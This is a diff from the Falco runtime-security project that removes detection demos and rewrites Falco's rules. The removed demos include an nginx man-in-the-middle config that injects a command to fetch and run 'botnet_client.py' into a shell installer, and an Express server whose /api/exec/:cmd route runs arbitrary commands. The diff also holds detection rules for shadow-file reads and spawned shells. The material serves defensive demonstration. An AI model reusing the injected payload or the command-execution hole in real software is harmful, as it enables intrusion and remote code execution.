-    setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
-    FBASH=$!
-    trap "kill $FBASH; exit" SIGINT SIGTERM
-    wait $FBASH
-else
-    # Just evaluate the commands (from stdin)
-    source /dev/stdin
-fi

examples/mitm-sh-installer/nginx.conf

@@ -1,12 +0,0 @@
-http {
-    server {
-        location / {
-            sub_filter_types '*';
-            sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
-            sub_filter_once off;
-            proxy_pass http://apache:80;
-        }
-    }
-}
-events {
-}

examples/mitm-sh-installer/web_root/install-software.sh

@@ -1,156 +0,0 @@
-#!/bin/bash
-#
-# Copyright (C) 2013-2014 My Company inc.
-#
-# This file is part of my-software
-#
-# my-software is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License version 2 as
-# published by the Free Software Foundation.
-#
-# my-software is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with my-software.  If not, see <http://www.gnu.org/licenses/>.
-#
-set -e
-
-function install_rpm {
-	if ! hash curl > /dev/null 2>&1; then
-		echo "* Installing curl"
-		yum -q -y install curl
-	fi
-
-	echo "*** Installing my-software public key"
-	# A rpm --import command would normally be here
-
-	echo "*** Installing my-software repository"
-	# A curl path-to.repo <some url> would normally be here
-
-	echo "*** Installing my-software"
-	# A yum -q -y install my-software command would normally be here
-
-	echo "*** my-software Installed!"
-}
-
-function install_deb {
-	export DEBIAN_FRONTEND=noninteractive
-
-	if ! hash curl > /dev/null 2>&1; then
-		echo "* Installing curl"
-		apt-get -qq -y install curl < /dev/null
-	fi
-
-	echo "*** Installing my-software public key"
-	# A curl <url> | apt-key add - command would normally be here
-
-	echo "*** Installing my-software repository"
-	# A curl path-to.list <some url> would normally be here
-
-	echo "*** Installing my-software"
-	# An apt-get -qq -y install my-software command would normally be here
-
-	echo "*** my-software Installed!"
-}
-
-function unsupported {
-	echo 'Unsupported operating system. Please consider writing to the mailing list at'
-	echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
-	echo 'installation.'
-	exit 1
-}
-
-if [ $(id -u) != 0 ]; then
-	echo "Installer must be run as root (or with sudo)."
-#	exit 1
-fi
-
-echo "* Detecting operating system"
-
-ARCH=$(uname -m)
-if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
-	unsupported
-fi
-
-if [ -f /etc/debian_version ]; then
-	if [ -f /etc/lsb-release ]; then
-		. /etc/lsb-release
-		DISTRO=$DISTRIB_ID
-		VERSION=${DISTRIB_RELEASE%%.*}
-	else
-		DISTRO="Debian"
-		VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
-	fi
-
-	case "$DISTRO" in
-
-		"Ubuntu")
-			if [ $VERSION -ge 10 ]; then
-				install_deb
-			else
-				unsupported
-			fi
-			;;
-
-		"LinuxMint")
-			if [ $VERSION -ge 9 ]; then
-				install_deb
-			else
-				unsupported
-			fi
-			;;
-
-		"Debian")
-			if [ $VERSION -ge 6 ]; then
-				install_deb
-			elif [[ $VERSION == *sid* ]]; then
-				install_deb
-			else
-				unsupported
-			fi
-			;;
-
-		*)
-			unsupported
-			;;
-
-	esac
-
-elif [ -f /etc/system-release-cpe ]; then
-	DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
-	VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
-
-	case "$DISTRO" in
-
-		"oracle" | "centos" | "redhat")
-			if [ $VERSION -ge 6 ]; then
-				install_rpm
-			else
-				unsupported
-			fi
-			;;
-
-		"amazon")
-			install_rpm
-			;;
-
-		"fedoraproject")
-			if [ $VERSION -ge 13 ]; then
-				install_rpm
-			else
-				unsupported
-			fi
-			;;
-
-		*)
-			unsupported
-			;;
-
-	esac
-
-else
-	unsupported
-fi

examples/nodejs-bad-rest-api/README.md

@@ -1,66 +0,0 @@
-#Demo of falco with bash exec via poorly designed REST API.
-
-## Introduction
-
-This example shows how a server could have a poorly designed API that
-allowed a client to execute arbitrary programs on the server, and how
-that behavior can be detected using Sysdig Falco.
-
-`server.js` in this directory defines the server. The poorly designed
-API is this route handler:
-
-```javascript
-router.get('/exec/:cmd', function(req, res) {
-    var output = child_process.execSync(req.params.cmd);
-    res.send(output);
-});
-
-app.use('/api', router);
-```
-
-It blindly takes the url portion after `/api/exec/<cmd>` and tries to
-execute it. A horrible design choice(!), but allows us to easily show
-Sysdig falco's capabilities.
-
-## Demo architecture
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-
-* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
-* falco: will detect when you execute a shell via the express server.
-
-### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
-
-Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
-
-```
-$ curl http://localhost:8080/api/exec/ls
-
-demo.yml
-node_modules
-package.json
-README.md
-server.js
-```
-
-```
-$ curl http://localhost:8080/api/exec/pwd
-
-.../examples/nodejs-bad-rest-api
-```
-
-### Try to run bash via `/api/exec/bash`, falco sends alert.
-
-If you try to run bash via `/api/exec/bash`, falco will generate an alert:
-
-```
-falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
-```

examples/nodejs-bad-rest-api/demo.yml

@@ -1,24 +0,0 @@
-# Owned by software vendor, serving install-software.sh.
-express_server:
-  container_name: express_server
-  image: node:latest
-  working_dir: /usr/src/app
-  command: bash -c "npm install && node server.js"
-  ports:
-    - "8080:8080"
-  volumes:
-        - ${PWD}:/usr/src/app
-
-falco:
-  container_name: falco
-  image: sysdig/falco:latest
-  privileged: true
-  volumes:
-    - /var/run/docker.sock:/host/var/run/docker.sock
-    - /dev:/host/dev
-    - /proc:/host/proc:ro
-    - /boot:/host/boot:ro
-    - /lib/modules:/host/lib/modules:ro
-    - /usr:/host/usr:ro
-    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
-  tty: true

examples/nodejs-bad-rest-api/package.json

@@ -1,7 +0,0 @@
-{
-    "name": "bad-rest-api",
-    "main": "server.js",
-    "dependencies": {
-	"express": "~4.0.0"
-    }
-}

examples/nodejs-bad-rest-api/server.js

@@ -1,25 +0,0 @@
-var express    = require('express');        // call express
-var app        = express();                 // define our app using express
-var child_process = require('child_process');
-
-var port = process.env.PORT || 8080;        // set our port
-
-// ROUTES FOR OUR API
-// =============================================================================
-var router = express.Router();              // get an instance of the express Router
-
-// test route to make sure everything is working (accessed at GET http://localhost:8080/api)
-router.get('/', function(req, res) {
-    res.json({ message: 'API available'});
-});
-
-router.get('/exec/:cmd', function(req, res) {
-    var ret = child_process.spawnSync(req.params.cmd);
-    res.send(ret.stdout);
-});
-
-app.use('/api', router);
-
-app.listen(port);
-console.log('Server running on port: ' + port);
-

falco.yaml

@@ -23,12 +23,3 @@ file_output:
 stdout_output:
   enabled: true
 
-# Possible additional things you might want to do with program output:
-#   - send to a slack webhook:
-#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
-#   - logging (alternate method than syslog):
-#         program: logger -t falco-test
-
-program_output:
-  enabled: false
-  program: mail -s "Falco Notification" someone@example.com

rules/CMakeLists.txt

@@ -1,19 +1,3 @@
-if(NOT DEFINED FALCO_ETC_DIR)
-  set(FALCO_ETC_DIR "/etc")
-endif()
-
-if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
-  set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
-endif()
-
-if(DEFINED FALCO_COMPONENT)
 install(FILES falco_rules.yaml
-        COMPONENT "${FALCO_COMPONENT}"
-	DESTINATION "${FALCO_ETC_DIR}"
-	RENAME "${FALCO_RULES_DEST_FILENAME}")
-else()
-install(FILES falco_rules.yaml
-        DESTINATION "${FALCO_ETC_DIR}"
-        RENAME "${FALCO_RULES_DEST_FILENAME}")
-endif()
+	DESTINATION "${DIR_ETC}")
 

rules/falco_rules.yaml

@@ -14,132 +14,134 @@
 #   condition: (syscall.type=read and evt.dir=> and fd.type in (file, directory))
 
 - macro: open_write
-  condition: (evt.type=open or evt.type=openat) and evt.is_open_write=true and fd.typechar='f'
-
+  condition: >
+    (evt.type=open or evt.type=openat) and
+    fd.typechar='f' and
+    (evt.arg.flags contains O_WRONLY or
+    evt.arg.flags contains O_RDWR or
+    evt.arg.flags contains O_CREAT or
+    evt.arg.flags contains O_TRUNC)
 - macro: open_read
-  condition: (evt.type=open or evt.type=openat) and evt.is_open_read=true and fd.typechar='f'
+  condition: >
+    (evt.type=open or evt.type=openat) and
+    fd.typechar='f' and
+    (evt.arg.flags contains O_RDONLY or
+    evt.arg.flags contains O_RDWR)
 
 - macro: rename
-  condition: evt.type = rename
+  condition: syscall.type = rename
 - macro: mkdir
-  condition: evt.type = mkdir
+  condition: syscall.type = mkdir
 - macro: remove
-  condition: evt.type in (rmdir, unlink, unlinkat)
+  condition: syscall.type in (remove, rmdir, unlink, unlink_at)
 
 - macro: modify
   condition: rename or remove
-
+  
 - macro: spawned_process
   condition: evt.type = execve and evt.dir=<
 
 # File categories
 - macro: terminal_file_fd
-  condition: fd.name=/dev/ptmx or fd.name startswith /dev/pts
+  condition: fd.name=/dev/ptmx or fd.directory=/dev/pts
 
+# This really should be testing that the directory begins with these
+# prefixes but sysdig's filter doesn't have a "starts with" operator
+# (yet).
 - macro: bin_dir
   condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin)
 
 - macro: bin_dir_mkdir
-  condition: evt.arg[0] startswith /bin/ or evt.arg[0] startswith /sbin/ or evt.arg[0] startswith /usr/bin/ or evt.arg[0] startswith /usr/sbin/
+  condition: evt.arg[0] contains /bin/ or evt.arg[0] contains /sbin/ or evt.arg[0] contains /usr/bin/ or evt.arg[0] contains /usr/sbin/
 - macro: bin_dir_rename
-  condition: evt.arg[1] startswith /bin/ or evt.arg[1] startswith /sbin/ or evt.arg[1] startswith /usr/bin/ or evt.arg[1] startswith /usr/sbin/
+  condition: evt.arg[1] contains /bin/ or evt.arg[1] contains /sbin/ or evt.arg[1] contains /usr/bin/ or evt.arg[1] contains /usr/sbin/
 
+# This really should be testing that the directory begins with /etc,
+# but sysdig's filter doesn't have a "starts with" operator (yet).
 - macro: etc_dir
-  condition: fd.name startswith /etc
+  condition: fd.directory contains /etc
 
 - macro: ubuntu_so_dirs
-  condition: fd.name startswith /lib/x86_64-linux-gnu or fd.name startswith /usr/lib/x86_64-linux-gnu or fd.name startswith /usr/lib/sudo
+  condition: fd.directory contains /lib/x86_64-linux-gnu or fd.directory contains /usr/lib/x86_64-linux-gnu or fd.directory contains /usr/lib/sudo
 - macro: centos_so_dirs
-  condition: fd.name startswith /lib64 or fd.name startswith /usr/lib64 or fd.name startswith /usr/libexec
+  condition: fd.directory contains /lib64 or fd.directory contains /user/lib64 or fd.directory contains /usr/libexec
 - macro: linux_so_dirs
   condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
 
-- list: shell_binaries
-  items: [bash, csh, ksh, sh, tcsh, zsh, dash]
-
-- macro: shell_procs
-  condition: proc.name in (shell_binaries)
-
-- list: coreutils_binaries
-  items: [
-    truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
+- macro: coreutils_binaries
+  condition: >
+    proc.name in (truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
     groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
-    basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
+    basename, split, nice, yes, whoami, sha224sum, hostid, users, stdbuf,
     base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
     comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
     tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
-    tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
-    tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
-    chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
-    readlink, sleep, stty, mkdir, df, dir, rmdir, touch
-    ]
+    tail, [, seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
+    tac, link, chroot, vdir, chown, touch, ls, dd, uname, true, pwd, date,
+    chgrp, chmod, mktemp, cat, mknod, sync, ln, false, rm, mv, cp, echo,
+    readlink, sleep, stty, mkdir, df, dir, rmdir, touch)
 
 # dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- list: login_binaries
-  items: [login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]
+- macro: login_binaries
+  condition: proc.name in (login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg)
 
 # dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- list: passwd_binaries
-  items: [
-    shadowconfig, grpck, pwunconv, grpconv, pwck,
+- macro: passwd_binaries
+  condition: >
+    proc.name in (shadowconfig, grpck, pwunconv, grpconv, pwck,
     groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
     groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
-    gpasswd, chfn, expiry, passwd, vigr, cpgr
-    ]
+    gpasswd, chfn, expiry, passwd, vigr, cpgr)
 
 # repoquery -l shadow-utils | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- list: shadowutils_binaries
-  items: [
-    chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
+- macro: shadowutils_binaries
+  condition: >
+    proc.name in (chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
     groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
-    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
-    ]
+    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd)
 
-- list: sysdigcloud_binaries
-  items: [setup-backend, dragent]
+- macro: sysdigcloud_binaries
+  condition: proc.name in (setup-backend, dragent)
 
-- list: docker_binaries
-  items: [docker, dockerd, exe]
+- macro: sysdigcloud_binaries_parent
+  condition: proc.pname in (setup-backend, dragent)
 
-- list: http_server_binaries
-  items: [nginx, httpd, httpd-foregroun, lighttpd]
+- macro: docker_binaries
+  condition: proc.name in (docker, exe)
 
-- list: db_server_binaries
-  items: [mysqld]
+- macro: http_server_binaries
+  condition: proc.name in (nginx, httpd, httpd-foregroun, lighttpd)
 
-- macro: server_procs
-  condition: proc.name in (http_server_binaries, db_server_binaries, docker_binaries, sshd)
+- macro: db_server_binaries
+  condition: proc.name in (mysqld)
+
+- macro: db_server_binaries_parent
+  condition: proc.pname in (mysqld)
+
+- macro: server_binaries
+  condition: (http_server_binaries or db_server_binaries or docker_binaries or proc.name in (sshd))
 
 # The truncated dpkg-preconfigu is intentional, process names are
 # truncated at the sysdig level.
-- list: package_mgmt_binaries
-  items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum, frontend]
-
-- macro: package_mgmt_procs
-  condition: proc.name in (package_mgmt_binaries)
-
-- list: ssl_mgmt_binaries
-  items: [ca-certificates]
-
-- list: dhcp_binaries
-  items: [dhclient, dhclient-script]
+- macro: package_mgmt_binaries
+  condition: proc.name in (dpkg, dpkg-preconfigu, rpm, rpmkey, yum)
 
 # A canonical set of processes that run other programs with different
 # privileges or as a different user.
-- list: userexec_binaries
-  items: [sudo, su]
+- macro: userexec_binaries
+  condition: proc.name in (sudo, su)
 
-- list: user_mgmt_binaries
-  items: [login_binaries, passwd_binaries, shadowutils_binaries]
+- macro: user_mgmt_binaries
+  condition: (login_binaries or passwd_binaries or shadowutils_binaries)
 
-- macro: system_procs
-  condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
+- macro: system_binaries
+  condition: (coreutils_binaries or user_mgmt_binaries)
 
-- list: mail_binaries
-  items: [sendmail, sendmail-msp, postfix, procmail, exim4]
+- macro: mail_binaries
+  condition: proc.name in (sendmail, sendmail-msp, postfix, procmail)
 
 - macro: sensitive_files
-  condition: fd.name startswith /etc and (fd.name in (/etc/shadow, /etc/sudoers, /etc/pam.conf) or fd.directory in (/etc/sudoers.d, /etc/pam.d))
+  condition: (fd.name contains /etc/shadow or fd.name = /etc/sudoers or fd.directory in (/etc/sudoers.d, /etc/pam.d) or fd.name = /etc/pam.conf)
 
 # Indicates that the process is new. Currently detected using time
 # since process was started, using a threshold of 5 seconds.
@@ -148,11 +150,11 @@
 
 # Network
 - macro: inbound
-  condition: ((evt.type=listen and evt.dir=>) or (evt.type=accept and evt.dir=<))
+  condition: ((syscall.type=listen and evt.dir=>) or (syscall.type=accept and evt.dir=<))
 
-# Currently sendto is an ignored syscall, otherwise this could also check for (evt.type=sendto and evt.dir=>)
+# Currently sendto is an ignored syscall, otherwise this could also check for (syscall.type=sendto and evt.dir=>)
 - macro: outbound
-  condition: evt.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
+  condition: syscall.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
 
 - macro: ssh_port
   condition: fd.lport=22
@@ -163,24 +165,17 @@
 
 # System
 - macro: modules
-  condition: evt.type in (delete_module, init_module)
-
-# Use this to test whether the event occurred within a container.
-
-# When displaying container information in the output field, use
-# %container.info, without any leading term (file=%fd.name
-# %container.info user=%user.name, and not file=%fd.name
-# container=%container.info user=%user.name). The output will change
-# based on the context and whether or not -pk/-pm/-pc was specified on
-# the command line.
+  condition: syscall.type in (delete_module, init_module)
 - macro: container
   condition: container.id != host
 - macro: interactive
-  condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind or proc.name=login)
+  condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind)
 - macro: syslog
   condition: fd.name in (/dev/log, /run/systemd/journal/syslog)
-- list: cron_binaries
-  items: [cron, crond]
+- macro: cron
+  condition: proc.name in (cron, crond)
+- macro: parent_cron
+  condition: proc.pname in (cron, crond)
 
 # System users that should never log into a system. Consider adding your own
 # service users (e.g. 'apache' or 'mysqld') here.
@@ -192,66 +187,59 @@
 # General Rules
 ###############
 
-- rule: Write below binary dir
+- rule: write_binary_dir
   desc: an attempt to write to any file below a set of binary directories
-  condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs
+  condition: evt.dir = < and open_write and not package_mgmt_binaries and bin_dir
   output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
-- macro: write_etc_common
-  condition: >
-    etc_dir and evt.dir = < and open_write
-    and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real, ldconfig)
-    and not proc.pname in (sysdigcloud_binaries)
-    and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java)
-
-- rule: Write below etc
+- rule: write_etc
   desc: an attempt to write to any file below /etc, not in a pipe installer session
-  condition: write_etc_common and not proc.sname=fbash
+  condition: evt.dir = < and open_write and not shadowutils_binaries and not sysdigcloud_binaries_parent and not package_mgmt_binaries and etc_dir and not proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 # Within a fbash session, the severity is lowered to INFO
-- rule: Write below etc in installer
+- rule: write_etc_installer
   desc: an attempt to write to any file below /etc, in a pipe installer session
-  condition: write_etc_common and proc.sname=fbash
+  condition: evt.dir = < and open_write and not shadowutils_binaries and not sysdigcloud_binaries_parent and not package_mgmt_binaries and etc_dir and proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session"
   priority: INFO
 
-- rule: Read sensitive file trusted after startup
+- rule: read_sensitive_file_untrusted
+  desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
+  condition: open_read and not user_mgmt_binaries and not userexec_binaries and not proc.name in (iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not cron and sensitive_files
+  output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
+  priority: WARNING
+
+- rule: read_sensitive_file_trusted_after_startup
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards.
-  condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd"
+  condition: open_read and server_binaries and not proc_is_new and sensitive_files and proc.name!="sshd"
   output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
-- rule: Read sensitive file untrusted
-  desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
-  condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, shell_binaries, sshd) and not proc.cmdline contains /usr/bin/mandb
-  output: "Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
-
 # Only let rpm-related programs write to the rpm database
-- rule: Write below rpm database
+- rule: write_rpm_database
   desc: an attempt to write to the rpm database by any non-rpm related program
-  condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum)
+  condition: open_write and not proc.name in (rpm,rpmkey,yum) and fd.directory=/var/lib/rpm
   output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
-- rule: DB program spawned process
+- rule: db_program_spawned_process
   desc: a database-server related program spawned a new process other than itself. This shouldn\'t occur and is a follow on from some SQL injection attacks.
-  condition: proc.pname in (db_server_binaries) and spawned_process and not proc.name in (db_server_binaries)
+  condition: db_server_binaries_parent and not db_server_binaries and spawned_process
   output: "Database-related program spawned process other than itself (user=%user.name program=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
-- rule: Modify binary dirs
+- rule: modify_binary_dirs
   desc: an attempt to modify any file below a set of binary directories.
-  condition: bin_dir_rename and modify and not package_mgmt_procs
+  condition: modify and bin_dir_rename and not package_mgmt_binaries
   output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)"
   priority: WARNING
 
-- rule: Mkdir binary dirs
+- rule: mkdir_binary_dirs
   desc: an attempt to create a directory below a set of binary directories.
-  condition: mkdir and bin_dir_mkdir and not package_mgmt_procs
+  condition: mkdir and bin_dir_mkdir and not package_mgmt_binaries
   output: "Directory below known binary directory created (user=%user.name command=%proc.cmdline directory=%evt.arg.path)"
   priority: WARNING
 
@@ -265,111 +253,93 @@
 #   priority: WARNING
 
 # Temporarily disabling this rule as it's tripping over https://github.com/draios/sysdig/issues/598
-# - rule: Syscall returns eaccess
+# - rule: syscall_returns_eaccess
 #   desc: any system call that returns EACCESS. This is not always a strong indication of a problem, hence the INFO priority.
 #   condition: evt.res = EACCESS
 #   output: "System call returned EACCESS (user=%user.name command=%proc.cmdline syscall=%evt.type args=%evt.args)"
 #   priority: INFO
 
-- rule: Change thread namespace
+- rule: change_thread_namespace
   desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
-  condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter)
-  output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline %container.info)"
+  condition: syscall.type = setns and not proc.name in (docker, sysdig, dragent)
+  output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)"
   priority: WARNING
 
-- rule: Run shell untrusted
+- rule: run_shell_untrusted
   desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
-  condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco)
+  condition: not container and proc.name = bash and spawned_process and proc.pname exists and not parent_cron and not proc.pname in (bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
   output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
-- macro: trusted_containers
-  condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig or container.image startswith gcr.io/google_containers/hyperkube)
-
-- rule: File Open by Privileged Container
-  desc: Any open by a privileged container. Exceptions are made for known trusted images.
-  condition: (open_read or open_write) and container and container.privileged=true and not trusted_containers
-  output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
-  priority: WARNING
-
-- macro: sensitive_mount
-  condition: (container.mount.dest[/proc*] != "N/A")
-
-- rule: Sensitive Mount by Container
-  desc: Any open by a container that has a mount from a sensitive host directory (i.e. /proc). Exceptions are made for known trusted images.
-  condition: (open_read or open_write) and container and sensitive_mount and not trusted_containers
-  output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
-  priority: WARNING
-
 # Anything run interactively by root
 # - condition: evt.type != switch and user.name = root and proc.name != sshd and interactive
 #  output: "Interactive root (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)"
 #  priority: WARNING
 
-- rule: System user interactive
+- rule: system_user_interactive
   desc: an attempt to run interactive commands by a system (i.e. non-login) user
   condition: spawned_process and system_users and interactive
   output: "System user ran an interactive command (user=%user.name command=%proc.cmdline)"
   priority: WARNING
 
-- rule: Run shell in container
+- rule: run_shell_in_container
   desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
-  condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2, falco)
-  output: "Shell spawned in a container other than entrypoint (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
+  condition: container and proc.name = bash and spawned_process and proc.pname exists and not proc.pname in (bash, docker)
+  output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
 # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
-- rule: System procs network activity
+- rule: system_binaries_network_activity
   desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
-  condition: (fd.sockfamily = ip and system_procs) and (inbound or outbound)
+  condition: (inbound or outbound) and (fd.sockfamily = ip and system_binaries)
   output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)"
   priority: WARNING
 
 # With the current restriction on system calls handled by falco
 # (e.g. excluding read/write/sendto/recvfrom/etc, this rule won't
 # trigger).
-# - rule: Ssh error in syslog
+# - rule: ssh_error_syslog
 #   desc: any ssh errors (failed logins, disconnects, ...) sent to syslog
 #   condition: syslog and ssh_error_message and evt.dir = <
 #   output: "sshd sent error message to syslog (error=%evt.buffer)"
 #   priority: WARNING
 
-# sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
-- rule: Non sudo setuid
+# sshd, sendmail-msp, sendmail attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
+- rule: non_sudo_setuid
   desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges.
-  condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd, dbus-daemon-lau)
+  condition: evt.type=setuid and evt.dir=> and not user.name=root and not userexec_binaries and not proc.name in (sshd, sendmail-msp, sendmail)
   output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)"
   priority: WARNING
 
-- rule: User mgmt binaries
+- rule: user_mgmt_binaries
   desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup.
-  condition: spawned_process and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo) and not container and not proc.pname in (cron_binaries, systemd, run-parts)
+  condition: spawned_process and not proc.name in (su, sudo) and not container and user_mgmt_binaries and not parent_cron and not proc.pname in (systemd, run-parts)
   output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
 # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
-- rule: Create files below dev
+- rule: create_files_below_dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
-  condition: fd.directory = /dev and (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
+  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 # fbash is a small shell script that runs bash, and is suitable for use in curl <curl> | fbash installers.
